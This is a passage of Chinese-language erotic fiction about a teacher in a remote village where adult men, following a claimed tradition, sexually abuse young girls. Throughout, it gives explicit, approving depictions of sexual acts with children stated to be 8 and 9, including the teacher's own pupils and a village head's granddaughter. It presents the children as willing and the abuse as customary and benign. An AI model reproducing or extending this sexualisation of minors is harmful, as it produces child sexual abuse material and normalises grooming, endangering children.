"对了,李老师,我想问你个问题,你千万不要嫌我烦。我们村子实在太需要一个好老师了,你也看到我们村子的情况了,虽然在这大山里吃穿不愁,可是家家也不是很富裕,和县里其他村子比起来都相差很远喽!我虽然没什么文化,但是我也知道要想富裕起来,只有学习更多的知识,大家都有知识了,村子才能富裕。老师,请你留在我们村子吧,我们真的很需要你这样人啊!"村长抓着李余的手说道。

从他的眼睛里,李余可以清楚的看到那份渴望,那份想要李余留下的渴望。 "我本来就是来支援西部的嘛,只要咱们洞子村需要我,我就不走,永远在这里教孩子们读书。"李余拍着胸脯说道。

"好,太好了,谢谢你李老师。我,好还有一些其他的事情,我先走了。"村长急着走了。

"看来我很快就可以知道谜底了。"李余得意地想道。

"至于日记嘛,先不看了,毕竟先知道答案就不好玩了,只有自己去体会真正的谜底才能感到兴奋。嘿嘿……"李余还不知道自己将会体验到怎样的兴奋。 是晚,李余又起夜了。有这个习惯的人,一般都在相同的时间起夜。

和前一晚一样,李余在回去的时候又看到了村长房子里露出的光亮,李余再次悄悄的躲到了村长的房子后面偷听。

"今天跟李老师说了,李老师说他愿意在村子教娃儿们读书,多长时间都可以。"村长在向诸位长老们做着报告。

"话虽这么说,但是谁知道他是不是真心的呦!"一个长老说道。

"那、那怎么弄?"村长看着这个长老问道。

"就让他发个誓。在祠堂里,对着老祖宗发誓,他要是敢发誓,那咱们就相信他,如果他不敢发誓的话,我看还是算了。"这个长老说道。

"那,那总得找个由头吧,无缘无故的要人家发誓,似乎……"村长担心的说。

"就说是咱们村的传统,从老辈们传下来的,改不得。"

"那我明天去试试,但愿人家愿意。"村长最后说道。

"还要发誓,这个游戏越来越好玩了。"李余回屋后,暗暗想道。

一晚上很快就过去了,李余睡得很好。

早上李余收拾了一下,就到了村里的学校里,准备上课。

"李老师,请先过来一下好吗?"村长在李余马上就要走进学校的时候,喊住了他。

"什么事情,村长?"李余尽管已经猜到是昨晚的事情,但还是要装作什么都不知道的样子。

"有点事情想和你商量一下……那个,李老师,还记得我昨天和你说的事情吗?"村长问。

"昨天,昨天的什么事情?"李余明知故问。

"就是你说要在我们村子永远呆下去,永远在这里教娃儿们念书。"村长提醒道。

"怎么了,我说话向来算数,难道村长不相信我吗?"

"不,不是。我们村子本来有个老规矩,就是外面的人要想加入我们村,成为我们村的人的话,就要到我们的祠堂里去朝各位祖先发个誓,李老师,不好意思,你能不能……"

"你的意思是让我去你们村子里的祠堂去发誓?"李余顺着话说。

"对,对,李老师真实聪明人。你要是发了誓,那你就是我们村里的人了,到时候……"

"到时候怎么样?"李余最关心这点。

"哦,没什么,没什么。李老师,我带你去祠堂吧!"

来到洞子村也有几天的时间了,但是李余从来不知道在他平时住的大山洞旁边竟然还有一个小山洞。

或许是这个小山洞口那茂密的藤条把洞口完全遮挡住了,所以李余平时没有注意。

这个山洞和村子里人住的那个山洞的规模相去甚远,洞口大概两米高左右,身高一百八十公分的李余觉得自己走进去的时候,自己的头都快碰到洞顶了。 走进去之后,里面还算是比较大,不过最高处,也就是五、六米而已。这个洞里没有电灯,取而代之是长明油灯。

李余进去的时候,才发现原来村子里几乎所有的男人都已经来到了这个小洞里,这当然也包括了那几位长老,本来就不算很大的空间,几乎被挤满了。在洞的最里面的洞壁上就几幅画像,但是由于光线不是很好,所以看得不清楚。画像下面是案桌,上面供奉着诸多的灵位。那些长老就坐在了洞的最里面,也就是摆放他们祖先灵位的前面。

在村长的带领下,李余来到了这些长老的面前。

看到村长很李余来了,几位长老都放下了手里的烟袋。

"李老师,你来喽,欢迎,欢迎。"其中一个人站起来对李余表示欢迎。 "张老您好,王老您好,赵老您好,刘老您好……"李余朝在坐的所有长老一一打了招唿。

"不好意思,李老师,今天把你找来,小高把该说应该都说了,你跪在这里朝祖宗灵位磕个头,以后就是我们洞子村的人了,不过要是毁誓,可是要天打雷噼,不得好死的呀!"一位长老对李余说道。

"好,我发誓,以后永远在洞子村叫孩子们读书,要是有违誓言,天打五雷轰,不得好死。"李余发誓说道。

"反正我是学考古的,根本不信什么神佛,发过的誓言不履行,也不会有什么报应。"李余心中如是想。

"好,李老师果然是个爽快,不过我还有一句要说。李老师,你以后在咱们村子里不管看到什么,听了什么,又做什么,可千万不得对外人说哦!"长老似乎不放心的说道。

"好,我再发个誓。我以后要是把在洞子村看到的、听到的、做过的事情说出去的话,我一样是不得好死。"李余说道。

"好的,今天起李老师就是我们村子里的人喽!"高村长首先上来和李余握手。

随后,村子里的每个男人都上来和李余握了手。

"就只这些,没什么其他的了。"

李余总在期待着什么,可得到的回答却是:"没什么了,就这些。李老师,不打扰你喽,你可以回去继续上课了。"村长说道。

"不……不会吧,难道说我的前任许老师就是被这种简单仪式所打动,从而决定留下来的吗?那不大可能吧?"李余的心中画了一个N大的问号。

"哎,算了,就当我是陪一堆大男人玩了一次过家家吧!"李余摇了摇头,回到了学校里继续上课去了。

但是……

上了一天的课,李余拖着疲惫的身体回到了自己的屋子里,放下教材,李余来到了屋子旁边的厨房里。

"哎,还要自己做饭。这个火怎么这么难生啊!"从小生活在大城市的李余哪里用木柴生过火啊,每次做饭都弄得到处是烟。

"咳!咳……"这回李余又被自己生火弄出的烟呛住了。

"李老师,李老师,这是做什么呢?"村长的声音从外面传来。

"村长啊,我正在做饭呢!"李余回答道。

"呵呵……李老师,不用自己做了,看我给你带什么人来了。"村长说着走进了李余那间狭小的厨房。

李余从炉子前的浓烟中逃了出来,看到村长和他带来的人。

"许玲,许玉。"

不用村长介绍,李余也认识这两个小女孩,因为她们正好是他的学生。当然了由于来的时间短,李余也并不是能认识自己所有的学生,不过一对漂亮的姐妹花,总是让人难以忘记的。

"李老师,你不用自己做喽,让这两个女娃帮你吧!"村长说完,一推两个女孩。

这对姐妹,两个女孩跑到灶台旁边,开始生火、烧水。

"这,这怎么行呢!她们还是孩子,怎么能让她们做这个活呢!"李余连忙阻止。李余还清楚的记得这两姐妹一个上三年级,一个上四年级,也就是说姐姐许玲是9岁,而妹妹许玉只有8岁。

"李老师,没的关系,俗话说穷人家的孩子早当家,咱们村里,女娃到了这个年纪都做这个喽!"

"可……可……"

"好了,李老师,让她们先做着,我们去屋子里说话。"村长不顾李余的抗议,把他拉出了厨房,走进了屋子里。

"李老师,你可能还不晓得这姐妹的身世吧?"村长问李余。

"她们的身世?"对于这对姐妹,除了知道她们的名字之外,李余对其他的一无所知:"她们是……?"

"其实她们就是许老师的女儿。"村长说道。

"啊……"这令李余很以外,他根本没想到他的前任竟然已经在这个山村里结婚生子了。

"本来,许老师还在的时候,这姐妹两个是和许老师生活在一起的,就是住在这里。"村长指着屋子的地面说道:"后来,许老师走了以后,她们姐妹也住在这里,直到李老师你来了之后她们才让出来给你住的。"

"村长你的意思是……让我把这屋子让出来给她们姐妹住吗?没关系,我住哪都可以。"李余说道。

"不,不是这个意思了,我的意思是让她们姐妹跟李老师你一起住。"村长连忙解释。

"一起……住?!!"村长的话让李余的嘴都合不到一起了。

"这,这恐怕不大好吧……"虽然想到那姐妹两个漂亮天真的面孔时,李余的宝贝在裤裆里跳了几跳,但他还是说出了拒绝的话。

"有什么不好的?"

"我教书很忙的,没时间来照顾她们姐妹啊!"

"我没说让李老师照顾她们啊,我是让她们照顾李老师。"村长说道。 "她们照顾我?怎么照顾?……"

"就这样喽,李老师,我先走了,小玲、小玉可就交给你了。"村长说着就往外走。

"诶,村长,村长……"李余想叫住往外走的村长。

"哦,对了,有个事我差点忘记了,明天下午放学之后,李老师千万别离开学校,我到时候去找你。"村长突然转过身来,一脸神秘地对李余说道。 "明天下午?"在李余还没有回过味来的时候,村长已经飞快的离开了。 李余多少有些手足无措地等着两个小女孩给自己做饭。

"李老师,吃饭了。"许玲、许玉端着做好的饭菜走了进来。

"啊,好……"

看到饭菜端过来,李余觉得让这么小的女孩给自己做饭实在太不好意思,手都不知道该往哪放了。反而是姐妹两个大方地把饭菜放到了桌子上,看着李余吃饭。

"小玲、小玉,你们怎么不吃啊?"

"俺们村的规矩是男人吃完了女人才能吃饭。"许玉道出了原委。

"哈哈,你们还算不上女人,你们还是孩子,所以过来一起吃吧!"

"谁说俺们不是女人!俺们已经是女人了。"许玉不满的噘着嘴说道。 "你们?女人……哈哈!"

吃过了饭,李余拿起教材开始备课,而许玲、许玉则在做李余留给她们的作业。不知道为什么,李余觉得自己的心情很纷乱,看东西也看不下去,还不时地用眼角的余光偷看着两姐妹。

子,时不时喜欢撇到一边的小嘴,长发在脑后扎了起来。

"即使是生在城市里,这对姐妹也是相当出色了。"李余暗想。

"对了,这屋子里只有一张床,呆会儿该怎么睡啊?"李余突然想起这个问题来。

"小玉,你们以前和你们父亲都住在这间屋子里吗?"李余知道许玲的性格内向,不爱说话,所以问许玉。

"是啊,李老师。"

"那你们怎么睡呢?我是说,你们都睡在哪里?"李余问。

"都睡在床上啊!"许玉不解地看着李余,好像是在问:"那么大一张床,难道不够三个人一起睡吗?"

"都睡在床上……?"如果说刚才村长说要两姐妹和李余一起生活的时候,李余的宝贝只是在裤裆里跳了几跳的话,那他现在可真是支起了帐篷。

"一起睡吗?……"想到这里,曾经在恶魔岛混迹了两年多的李余,突然间想起了一大堆名字,例如《和女儿一起洗澡》、《交换女儿》、《性医春歌》、《天使不眠的都市》……等等。

"罗莉姐妹花……不,不,我怎么能这么想呢?我太龌龊了,我怎么能够对8、9岁的小女孩有感觉呢!"

"老师,你怎么了,你的脸怎么这么红啊?"正在李余胡思乱想的时候,许玉突然问道。

"啊,没……没事。"似乎是在做坏事,被人捉个正着似的,李余慌乱地回答着。

"哦……"许玉疑惑地应了一声后,继续写作业了。

第四章

李余在痛苦中煎熬着。

他一边要努力阻止自己去想那些曾经在恶魔岛中看过的幼文,一边又要面对两个漂亮幼女即将和自己睡在同一张床上的事实。

"老师,作业做完了。"

"嗯,给我吧。"李余把作业拿过来。

"那我们出去看电视了。"许玉说道。

"好,去吧!"

村里唯一的一台电视是公用的,就在洞外面唯一一块没有种上农作物的空地上。大家想看电视的时候,就去那里。

李余在家里心烦意乱的判着作业,似乎在等待着什么,可是想了想,李余也不知道自己在等什么。

但是到了快9点的时候,李余终于知道自己在等什么了。

"老师,我们回来了。"随着许玉的声音,姐妹两个走了进来。

李余看了看表,8点55分。

"快……快停电了,睡……睡觉吧。"李余结结巴巴的说道,此时他感到自己的心跳在加速。

"哦,知道了。"两个小女孩毫不犹豫地开始脱衣服。

"你们怎么脱衣服?"

"咦,老师睡觉不脱衣服吗?"

"不是,没事,继续,继续。"

很快两个小女孩就脱得只剩下内裤了。

女孩在这个年龄,胸部还没有发育,仍然是平平的,屁股也没有长开,还像是一只青涩的桃子,只不过隔着内裤,看不清楚。乡村小女孩的内裤就是由花布做成的,不过由这个年龄的女孩穿起来,显得很可爱。

"咕……"李余看着姐妹两人,艰难地吞下了一口口水。

"啪!"停电阻止了李余继续饱眼福的机会。

"老师,你怎么还不脱衣服啊?"姐妹两个躺到床上之后,许玉问李余。 "啊,就……就来。"李余三下两下脱下了自己的衣服,也躺到了床上。 姐妹两个睡在床的右边,李余睡在了床的左边。

"老师,你怎么离我们这么远啊?"许玉的声音在黑暗中显得是那么有诱惑性。

"以前许老师和你们是怎么睡的?"

"俺爹以前都是搂着我们睡的。"

"什么……好。"李余一点点把手伸过去,把许玲和许玉两具娇小的身体抱在了怀里。

两具几乎没有任何防范的幼女身体就在自己的掌握之中,淡淡的体香直冲鼻子,李余只感到全身的血液都向下身涌去,规模可观的分身也在不知不觉中顶到了前面许玲的那尚未发育的青涩小屁股上。

"千万别被发现,千万别被发现。"李余可不想被问:"老师顶在我屁股上那硬硬的是什么东西啊?"

过了好一会儿,两个女孩的唿吸渐渐地越来越慢,越来越轻,看来是已睡着了。

"谢天谢地。"李余松了一口气,他的祈祷终于被上天听到了一次。

"小玲,小玉。"李余用很轻的声音唿唤道,两个女孩没有一点反应,看来是真的睡着了。

李余试着把在内裤被禁锢得很难受的分身放了出来。

"舒服……"得到了充分的自由空间,分身似乎比刚才在内裤里的时候更大了。可是在李余和怀里的许玲、许玉之间的距离本来就很小,这下子,李余的分身一下子就伸到了姐姐许玲的的两腿之间,暴露在外的龟头,被两条柔嫩的大腿夹住了。

"哦,好爽啊……"李余上次和女友做爱还是很久以前的事情,自从半年前和女友分手以后,自己的小弟只好去和充气娃娃进行亲密接触了。

正当李余想进行最原始的挺腰运动的时候,他的理智及时制止了他。

"我在干什么啊?她们……她们还未成年啊!她们可是我的学生……"一种负罪感,使得李余挺起的分身一点点软了下来。

"这里这么偏僻,要是村里人知道我做这种事情,把我宰了,外面也不会有人知道的,那我岂不是死得很冤?"

李余倒是没想到要是外面的人知道了他所做的事情,他死得更惨。

"还好,还好,及时刹车,现在回头还来得急。"想想以前在电视看见的,在一些偏远地区,通奸的男女是要被沈塘的,估计这里也差不多,而且自己做的比起通奸来更加过份,李余此时已经是一身冷汗。

李余悄悄的把已经萎缩的宝贝收好,在不安与惶恐中沈沈睡去。

*** *** *** ***

"啊……余……轻点,人家是第一次嘛!"女朋友幽怨的眼神,极具引诱性的话语,让李余还没有插入就差点射了出来。

自从大一认识了女友以来,他们拍拖也有三年多了,经过三年的苦苦追求之后,李余的女友终于肯为他宽衣解带了。

"丽丽,我爱你,我永远爱你……呜……"两人的嘴唇紧密地贴合在一起无分彼此,李余的舌头一点点深入到丽丽口内,探索着里面的秘密。

不知过了多久,两人的舌头才依依不舍地分开。

"丽,把腿分开好吗?"

"嗯……"女友害羞地用手捂上了脸,任凭李余轻轻地把她的身体摆弄成一个"大"字。

"咋,咋……"李余按照从A片中学来的技巧,伸出舌头在女友的小穴口上来回舔着。

"啊……不……快啊……深点……"女友无意识地呻吟着,手里紧紧抓着李余的头发,"余,快点,我要你……"女友用那双迷离的眼睛看着李余,发出了爱的唿唤。

早已经硬挺多时的李余禁不住如此的诱惑,提枪上马,把自己的龟头对准了女友的蜜穴,拨开两片肉唇,一点点送了进去。

"喔……"女友腔肉有力的压迫,令李余舒服得叫出声来,差一点,李余就输给这种压迫感而射了出来。

"痛啊!……"刚才还春情勃发的女友,现在却用双手无力地推着李余的胸膛。

"丽,忍耐一下,很快就好了。"

李余挺动着下身,一下紧似一下,女友腔肉内传来的压迫感越来越强烈,李余每次的出入都带来极大快感,没有多少下,一阵射精的感觉涌了上来。 "丽,我要来了……啊……射了……"

*** *** *** ***

"啊……"李余从梦中惊醒。竟然梦到第一次和女友做爱的场面,李余摇了摇头。

"嗯?小玲,小玉呢?"他这才发现姐妹已经不在自己的怀里了。

"这感觉是……"

发现了姐妹两个不见的同时,李余感到胯下的分身处传来一阵阵的难以言表的快感。向下看去,李余简直不敢相信自己的眼睛,小玲和小玉正埋头在他的胯下,努力为他口交着。

姐姐小玲的小嘴叼着龟头,两只小手把住肉棒,可惜她那嘴太小了,刚刚吞下龟头,就已经不能再深入了,尽管如此,她还是用她的小舌头在龟头上面来回扫动着,特别是舌尖每次往尿眼里钻的时候,都引得李余一阵颤抖。妹妹小玉则把一枚肉卵轻轻的含在嘴里,舌头在上面打着转,两只小手放在了李余后庭菊门山,来回抚摸着。

"做梦,一定是做梦。"李余对自己说,可是胯下那一阵紧似一阵的快感,却告诉他这绝对不是做梦,而是真实的。

"小玲,小玉,你们……"

姐妹两个稍微擡头,看着李余,却没有放弃口中的动作,舌头一直强烈刺激着李余神经末梢的每一点。

"别……别这样……快射了……"

两姐妹似乎没有听到李余的话一般,继续着她们的工作。

"啊……啊……嗯……嗯……"李余做梦也没想到自己会被两个8、9岁的小女孩舔得哼出声来。

"别……别这样啊!真的……真的快射了……"李余的手扶在小玲的头上,本想把她推开,但是当两只手触摸到小玲那头柔滑的头发的时候,却变成了紧紧抓住了小玲的头。

"小玲,你的舌头真棒,就是这样……"

由于小玲的小嘴实在太小了,龟头在她的嘴里没有一丝的回旋余地,所以小玲的牙齿多次碰到了李余的龟头上面。

这一次次突如其来的刺激,就像是催精剂,把李余肉卵里蕴藏的精液都勾引到了输精管中。

"射了!射了!……"突然见李余死死扣住了小玲的头,把她压向自己的胯下,龟头在小玲的嘴里涨了几涨,跳了几跳,"滋……滋……"被蕴藏了半年多的浓稠精液终于喷射到了小玲的嘴里。

"哦……"几近虚脱的李余喘着粗气,又躺倒在了床上。

在李余射完精后,小玲竟然吞咽了李余射出的精液,只是由于实在太多,还是有些顺着她的嘴角流了下来。小玉这时从姐姐手里接过了李余的肉棒,开始用口舌清理起上面残余的精液来。

"小玲,小玉,这是怎么回事?是谁要你们这么做的?"几分钟后,回过味儿来的李余看着还伏在自己胯下的许玲和许玉问道。

"以前爹教我们的,是爹要我们每天早上这么叫醒他。"许玉回答道。 "是许老师?!"李余不敢相信自己的耳朵。

"怎么了老师,难道说你不喜欢吗?老师你要是不喜欢的话,我们以后就不这么做了。"许玉眨着那双童真的大眼睛,看着李余。

"嗯……嗯……这样很好啊!哈哈……很好,以后继续。"李余第一次感到诱骗无知幼女的心虚。

"对了,你们除了和许老师做这个之外,还一起做过什么?"

"吃饭啊,洗澡啊,睡觉啊!爹还在的时候,我们做什么都和爹一起。"许玉噘着嘴,似乎正在想着刚刚逝世一个月的爹。

"我的意思是……你们和许老师做没做过……就是把这个放到你们尿尿的地方的那种游戏?"李余费了半天劲,指着自己的软塌塌的宝贝问姐妹两个。 "老师你是在说做爱吗?"许玲反问。

"啊……你……你们知……道,知道这叫做爱?"李余感到异常惊讶。 "是啊!爹说了,你爱一个人就要和他做爱,我们爱爹,爹也爱我们,所以我们要做爱。"

"啊……这么解释倒是也对,不过……"李余也不知道该怎么说更好。 "这个许老师还真行啊,连自己的女儿都搞上手了,居然还能编出道理来。既然这样,那么我……"李余想着想着,已经不由自主地笑了出来。

"老师你笑什么啊?"

"没……没什么。对了,这件是就当做咱们间的秘密好吗?千万不要和别人说。"

"好。"嘴里虽然这么说,但是姐妹两个眼睛里却透出了"为什么?"的疑问。

"好了,咱们去学校吧,千万别和别人说起这件事啊!"李余不断提醒着姐妹。

在接下来的整整一天里,李余都在飘飘忽忽中度过,满脑子想的都是小玲和小玉姐妹两个那白嫩的皮肤、天真的面孔。

"老师,老师……"一个学生拉着李余的袖子。

"啊……怎么了,怎么了?"

"可以放学了吗?"

"几点了?"

"五点半了。"

"好,放学。"

"许玲和许玉呢?"李余四下巡视了一圈,没在教室里看见姐妹两个。 "老师,她们两个刚才先走了。"

"哦,我知道了,你们也回家吧。"李余收拾了一下教材,回到了家里。 奇怪的是,许玲、许玉两个却没有在家里。

"咦,奇怪,难道她们姐妹俩出去玩了?"李余放下手里的东西,到处看了看,发现她们的确不在。

"李老师,李老师。"村长从屋子外面走进来。

"是村长啊,有事吗?"

"咱们昨天不是约好了吗?你别离开学校,我去找你,你怎么先走了?"村长问道。

"哦,对了,我……你看我这记性。"李余一整天都在想着姐妹两个诱人的身体,怎么还能记得村长的约定呢!

"到底什么事情啊?"李余问村长。

"好事,李老师你就跟我来吧!"村长拉着李余就往外走。

看着村长神秘的样子,李余尽管感到很奇怪,但还是跟着村长一起走出了山洞。

"李老师,你以前洗过温泉没有?"村长走着走着,突然问。

"洗过两次,北京周围有不少的温泉。怎么了?"李余问。

"哦,李老师可能不知道吧,我们村里也有温泉。"村长说道。

"这里也有吗?"李余知道北方的温泉比较多,没想到南方也有。

"是唆,你看看咱们村里那些上了年纪的老人,身体照样硬朗,就是这温泉的功效。"

"是吗?那咱们这就是……"

"对唆,李老师真是聪明人,我一说你就明白喽,我就是带你去洗温泉。"村长说道。

"哦。"看到村长一开始还挺神秘的,李余还以为是什么事情呢,原来就是洗温泉啊!

两人一路走。

"对喽,李老师,小玲、小玉怎么样?"村长突然问了这么一句。

"啊,挺好的呀,她们都挺乖的。"

"我不是说这个,我是说她们两个服侍得你还舒服吧?"

"哈哈……村长,你在说什么呀?开……开什么玩笑啊!哈哈……"李余傻笑着掩饰自己内心的害怕。

"李老师,你就不要否认喽,刚才小玲和小玉都跟我说了,今天早上她们和你……"村长没说后面的话。

"啊……"李余张大嘴,愣在了当场。

"村长,那个……我……其实……饶了我吧,我下次再也不敢了。"李余突然跪下来,抱着村长的大腿哀求道。

"李老师,你这样是做什么,我又没说把你怎个样。快起来,快起来。"村长把跪在地上的李余拉了起来。

"村长,我……"

"好了,李老师,你跟我来,呆会儿你就明白了。"村长说着又朝前走去。 "呆会儿?我就明白了?什么意思?"李余擦了擦眼泪鼻涕,村长的语气听起来好像并没有生气,李余这才小心翼翼地跟了上去。

走了大概十几分钟的样子,村长转过头对李余说:"李老师,到了,前面就是。"

一阵阵的雾气,从前面处升起。

两人一起走过最后一个拐弯,一眼天然大型温泉出现在了李余的眼前。 "啊……"李余不敢相信自己的眼睛,他的嘴张大到足以放下一个椰子了。 "村长,我明白你的意思了。"李余喃喃地说道。

第五章

"啊……"李余面对眼前的场面,吃惊的程度绝不亚于看见原子弹在自己眼前爆炸的程度,"这……他们……"平时对于自己的口才还有一点自信的李余现在则完全是一副不知所措的样子,支支吾吾的连一句话都说不出来了。

这也难怪他,可能任何一个人在看到眼前的场面的时候,都会产生和他一样的反应。

这个巨大的温泉口大概有几百平方米,容纳上百人同时洗浴绝对不成问题。此时正在其中的,大概有六十人左右,村子里年轻力壮的男人几乎全在这里,除了他们之外,剩下居然是李余教的小女孩们。就在这个温泉里,三十多个成年男人,抱着二十多个未成年的女孩,有一对一的,也有二对一的,做着人类最原始的运动。

不知道为什么,在李余那空白的大脑中,突然出现了他的前任,许老师日记的内容。

"这里是男人的天堂……"

"村长……村长……这……"

"李老师,你还楞什么?快脱衣服啊!"村长一边脱,一边对李余说道。 "脱衣服?这……好吗?"李余扭捏着,似乎不大好意思在参与到这种乱交中来。

"老师,老师。"李余的左右手突然都被抓住了。

"许玲,许玉?"李余没想到这两个小丫头也在这里。

"老师咱们一块洗吧!"不由分说,姐妹两个开始动手脱起李余的衣服来。 "我自己来,我自己来。"受惊的李余三下两下脱光了身上的衣服,跳到了温泉之中。

温泉本身很大,刚从泉眼喷出来的水很热,但是流到边上的时候温度已经降下来很多了。李余刚跳下去就感到水的温度大概四十二、三度的样子,把身体泡到里面很舒服。

李余刚坐到温泉里的石阶上,许玲、许玉姐妹两个就紧接着也脱光了衣服跳到了温泉里,一左一右紧贴着李余坐下来。

"啊……"虽然胸部没有发育,但是被这么一贴,李余还是感到水中的肉棒已经严重充血了。

"村……村长,这是怎么回事?"李余看了左右的姐妹,问道。

"李老师,本来应该昨天就告诉你的,可是……不过今天说也不晚,这事要从几百年前说起了。小兰,过来。"村长一招手,一个年龄和小玲小玉差不多的女孩从旁边走过来。

村长没有说什么,只是微点了一下头,示意了一下,女孩就跪在了村长的两腿之间,捧起那条软塌塌的肉虫,开始舔起来。

"高小兰……"李余再次张大了嘴巴。

如果说刚才的乱交场面让李余吃惊的话,那么现在这个叫高小兰的女孩在为村长舔肉棒就绝对让李余怀疑自己是否在现实中了,因为这个女孩恰好是村长的孙女。

不知道为什么,看到这个场面之后,李余感到自己的肉棒膨胀得更大了。 "哎……我们村里的先人来到这里之后本来一切都挺好的,可是过了二、三十年之后,人们渐渐发现在村里出生的娃儿总是女娃多,男娃少,差不多生两个女娃才能生出一个男娃来。俺们村虽然穷,但是这关系到传宗接代的大事,俺们也不敢马虎,请了不少的名医来看,可是啊……那些个名医,没有一个能看好俺们村男人们是出了啥问题。

后来又过了很多年,大概是两百多年前吧,村里来了一位走方的道长,道号羽玄。这位羽玄道长在知道俺们村的事情之后,看了这里的风水,说俺们村在大山之中,阴气太重,要村里的男人们多御幼女,养些阳气,这样才能够生出男娃来。后来,羽玄道长也在俺们村里还了俗,还亲自示范,结果他老人家一辈子生了七个娃,全是男娃,现在俺们村里得有一半人是是他老人家的后人。" 村长一边享受着孙女的口舌服务,一边把村里的这个奇怪习俗跟李余完完整整的说了一遍。

"这个叫羽玄的道士还挺厉害,居然能生出七个儿子来。不过这家伙肯定是个恋童癖,才会想出这种方法来。啊……"李余的思路被许玲、许玉姐妹俩的四只小手打断了。

李余只感觉到,四只小手在自己的肉棒上来回套弄着,力度、速度都拿捏得恰到好处,这工夫绝对不是一天两天能练得出来的。

"其实俺们村男人都要和小女娃做这个事情,也是有一些规矩的。一般来说女娃要到了八岁以后才能做,另外男人只能和自家的女娃做,要是想和其他人家的女娃做,要人家的家长同意才行。"村长把规矩完全的告诉了李余,不过李余现在正在享受着到家的服务,根本没听清村长在讲些什么。

村长在享受完孙女的口交之后,把小兰的屁股托起,让自己的肉棒对准孙女的桃花口,慢慢放了下去。和在场的其他组合一样,这祖孙两个,旁若无人地肆意抽插起来。

"李老师,你看这样好不好,既然许老师已经不在了,小玲和小玉现在也没人照顾,要不你就认了她们两个做个干女儿吧,这样以后你们就……"村长突然提出了这样的建议。

"这样好吗?……"

"没问题,到时候我去和村里的几位老人家说一声,李老师,你就放心吧!喔……"村长也顾不上和李余说什么了,抱着孙女的小屁股,用力地干了起来。 "嗯……就这样……小玲,慢点……啊……小玉你也……"李余的肉棒在四只小手的联合夹攻下,已经飞快地涨大,所谓箭在弦上,不得不发,李余已经到了不射不快的地步,但是毕竟他还没有练到能当众宣淫的地步。

"村……村长,我能不能回去啊?"李余小心的问着,他不知道这种仪式能不能半途撤退。

"李老师,你不想和她们……?"村长指着小玲、小玉姐妹俩问李余。 "我不习惯当着这么多人的面,我能不能回去……"李余说话的时候大窘,低着头,脸都红透了。

"啊,随便你,李老师,你喜欢在哪里都行。"村长回答道。

得到答复之后,李余急急忙忙的从水里把小玲、小玉姐妹两个拉了出来,穿上衣服飞快往回走。

"小玲,小玉,你们……你们……想认我做干爹吗?"李余在回家的路上问道。

"李老师,只要你不嫌弃俺们,我……"小玲看了看妹妹小玉,继续说道:"我们愿意。"尽管后面那句话的声音很小,但是却砸得李余心头一震。 "啊……"小玲的一声尖叫吓了李余一跳。

"怎么了?"

"被划了一下。"小玲捧着左腿,上面有一道不算深,但是很长的血口,正在向外面渗血。

"怎么弄的?"李余急忙问。

"刚才有块尖石头刮了我一下。"

"痛吗?"李余关心的问道。

"嗯……"小玲皱着眉,虽然还没有哭出来,但是眼泪在眼眶里来回打转。 "好了,别动,我抱你回去。"李余弯下腰,轻轻的把小玲抱在怀里。真是幼女的身体,似乎没有一丝的重量似的,李余很轻松就把小玲抱回到了家里。 "小玉,哪里有纱布?"李余在家里翻找了半天也没找到,这才想起来问小玉。

"家里没有纱布啊!村卫生所里的王医生那才有。"小玉回答道。

"那你赶快去要点来,我给小玲包扎伤口。"李余对小玉说道。

"嗯。"小玉马上就跑出去了。

李余重新坐回到床边,轻擡起小玲的左腿看着上面的伤口。

"小玲,你说你都这么大了,走路还不注意!"

"对不起,老师,我不是故意,我……"早已蕴含了多时的眼泪,被李余一说,不由自主的落了下来。

"好了,乖小玲,别哭了。"李余伸出手,把小玲脸庞上眼泪拭去。

"老师,呜……"小玲抱着李余的手哭起来。

李余任凭她哭着,过了一会儿,当小玲哭够的时候,李余把她揽到了怀里:"傻孩子,怎么还叫我老师啊,刚才你不是说要认我做干爹吗?"

"干……干爹。"小玲红着脸,吞吞吐吐的才叫出一声。

"好了,乖。"李余在小玲的额头上轻轻一吻,以示安慰。

"老师,纱布拿来了。"小玉从村卫生所回来了,除了纱布,还带回来一些紫药水。

"记得以后叫我干爹呦!"李余接过纱布和药水,对小玉说道。

"记得了,干爹。"小玉连忙回答。

"来,让我看看伤口。"李余说着擡起了小玲的腿。伤口并不严重,只是被锐利的石头尖划了一下而已,而且也已经不再流血了。

李余把头凑到了小玲的腿上,伸出舌头舔噬着伤口外面已经干涸了的血迹,"别……不要……干爹……"

小玲被李余这突如其来的举动吓了一跳,试图把腿缩回去,但是却被李余紧紧的抓住了。

"别动,唾液是可以杀菌的,我替你消一下毒。"李余说完,继续低头舔着伤口,仔细、轻巧、耐心地舔着,不放过每个角落。

"嗯……啊……嗯……啊……"小玲绯红着脸接受着李余的"消毒处理"。 好容易,李余终于完成了清理工作,小玲这才松了一口气。

李余拿过紫药水,在伤口周围涂抹了一圈,然后用纱布把伤口包扎好。 "好了,以后要注意啊!"李余把纱布和药水都放到了桌子上,然而却没有把小玲的腿放下,小玲的两只小脚被李余拿到手里把玩着。

两只白嫩的小脚,就像是两个小馒头,李余把它们拿到鼻子下嗅了嗅,一点异味也没有,只有小女孩身上那种特有的味道,李余忍不住伸出舌头在上面舔了起来。

"哈哈……痒啊,干爹别舔了……"

不顾小玲的哀求,李余的舌头一路上移,从脚踝到小腿、到大腿,划过小玲神秘花园的入口,却没有在那里停留。

"脱下来好吗?"李余拽了拽小玲的衣服。

"嗯。"小玲不仅乖巧地脱下了上衣,还把裤子和小裤头一并脱下来,那尚未发育的身体完全展现在了李余的面前。

一对可爱的玉足,两条纤细的小腿,在两腿之间洁白光滑,没有一根毛发,一条粉红色的裂缝紧紧地闭合在一起,扁平的小腹,扁平的胸部上有两粒红豆般大小的蓓蕾。

"干爹……"小玲看着李余,有些害羞地把头歪向一边。

这一声唿唤,把李余的肉棒彻底地唤醒了,如果说刚才李余的状态算是"剑拔弩张"的话,那现在他的肉棒已经是"擎天一柱"了。

"脱,脱……靠,是谁把腰带系得这么紧?"李余迫不及待地脱光了自己身上的衣服。

得到释放的肉棒在空气中跳了几跳,向躺在床上小玲展示着他的雄伟。 "干爹,你的这么大啊!……"小玲有些惊讶于李余的尺寸。

"待会儿还会更大的。"李余伸手把小玲娇小的身体完全揽到了自己怀里,就好像抱起了一个大洋娃娃一般。两个人的前面,完全紧密的贴合到了一起,幼女身上那种独有的触感,让李余的话马上就实现了。

小玲就这样坐到了李余的腿上,同时感到了李余的大肉棒贴到了她的两片屁股之间。

"干爹……"害羞的小玲把脸扎到了李余的胸前,不敢看他。

李余则伸出右手的食指,勾住了小玲的下巴,轻轻擡起,然后重重的吻了上去。

